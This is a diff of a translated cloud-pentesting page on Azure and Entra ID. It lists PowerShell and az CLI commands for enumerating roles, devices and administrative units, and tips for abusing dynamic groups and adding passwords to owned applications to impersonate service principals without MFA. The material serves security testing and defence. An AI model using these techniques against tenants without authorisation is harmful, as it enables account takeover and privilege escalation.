+> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\
> Confira como abusar de grupos dinâmicos na página a seguir:
{{#ref}}
@@ -799,7 +799,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
> Uma string secreta que o aplicativo usa para provar sua identidade ao solicitar um token é a senha do aplicativo.\
> Portanto, se encontrar esta **senha**, você pode acessar como o **service principal** **dentro** do **tenant**.\
> Note que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
-> O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que ele possa se passar por ele).\
+> O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que possa se passar por ele).\
> Logins como esses service principals **não são marcados como arriscados** e **não terão MFA.**
É possível encontrar uma lista de IDs de aplicativos comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members"
-# Listar funções do Entra ID atribuídas a um usuário
+# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
-# Listar funções do Entra ID atribuídas a um grupo
+# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
-# Listar funções do Entra ID atribuídas a um principal de serviço
+# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
-
{{#endtab }}
{{#tab name="Azure AD" }}
-
```bash
-# Obter todos os modelos de função disponíveis
+# Get all available role templates
Get-AzureADDirectoryroleTemplate
-# Obter funções habilitadas (Funções atribuídas)
+# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
-Get-AzureADDirectoryRole -ObjectId #Obter informações sobre a função
-# Obter funções personalizadas - use AzureAdPreview
+Get-AzureADDirectoryRole -ObjectId #Get info about the role
+# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
-# Usuários atribuídos a uma função (Administrador Global)
+# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId | fl
-# Funções da Unidade Administrativa (quem tem permissões sobre a unidade administrativa e seus membros)
+# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id | fl *
```
-
{{#endtab }}
{{#endtabs }}
-### Devices
+### Dispositivos
{{#tabs }}
{{#tab name="az cli" }}
-
```bash
-# Se você sabe como fazer isso, envie um PR!
+# If you know how to do this send a PR!
```
-
{{#endtab }}
{{#tab name="MS Graph" }}
-
```bash
-# Enumerar dispositivos usando Microsoft Graph PowerShell
+# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
-# Obter detalhes do dispositivo
+# Get device details
Get-MgDevice -DeviceId | Format-List *
-# Obter dispositivos gerenciados usando Intune
+# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
-# Obter dispositivos de propriedade de um usuário
+# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
-# Listar comandos disponíveis no Microsoft Graph PowerShell
+# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
-
```bash
-# Enumerar Dispositivos
+# Enumerate Devices
Get-AzureADDevice -All $true | fl *
-# Listar todos os dispositivos ativos (e não os dispositivos obsoletos)
+# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
-# Obter proprietários de todos os dispositivos
+# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
-# Usuários registrados de todos os dispositivos
+# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
-# Obter dispositivos gerenciados usando Intune
+# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
-# Obter dispositivos pertencentes a um usuário
+# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
-# Obter Unidades Administrativas de um dispositivo
+# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
-
{{#endtab }}
{{#endtabs }}
> [!WARNING]
-> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
-> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
+> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\
+> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**.
-### Administrative Units
+### Unidades Administrativas
-For more information about administrative units check:
+Para mais informações sobre unidades administrativas, consulte:
{{#ref}}
../az-basic-information/
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
-
```bash
-# Listar todas as unidades administrativas
+# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
-# Obter informações da AU
+# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
-# Obter membros
+# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
-# Obter principais com funções sobre a AU
+# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
-
{{#endtab }}
{{#tab name="AzureAD" }}
-
```bash
-# Obter Unidades Administrativas
+# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id
-# Obter ID da unidade administrativa por string
+# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
-# Listar os usuários, grupos e dispositivos afetados pela unidade administrativa
+# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id
-# Obter os papéis que os usuários têm sobre os membros da AU
-Get-AzureADMSScopedRoleMembership -Id | fl #Obter ID do papel e membros do papel
+# Get the roles users have over the members of the AU
+Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
```
-
{{#endtab }}
{{#endtabs }}
-## Entra ID Privilege Escalation
+## Escalação de Privilégios do Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
-## Azure Privilege Escalation
+## Escalação de Privilégios do Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
-## Defensive Mechanisms
+## Mecanismos Defensivos
-### Privileged Identity Management (PIM)
+### Gerenciamento de Identidade Privilegiada (PIM)
-Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
+O Gerenciamento de Identidade Privilegiada (PIM) no Azure ajuda a **prevenir a atribuição excessiva de privilégios** a usuários desnecessariamente.
-One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
-Note that the user will also be able to ask to **extend** the time.
+Uma das principais características fornecidas pelo PIM é que permite não atribuir funções a principais que estão constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar essa função, ele precisa solicitá-la indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **administrador precisa aprovar** a solicitação.\
+Observe que o usuário também poderá solicitar a **prorrogação** do tempo.
-Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
+Além disso, **o PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém.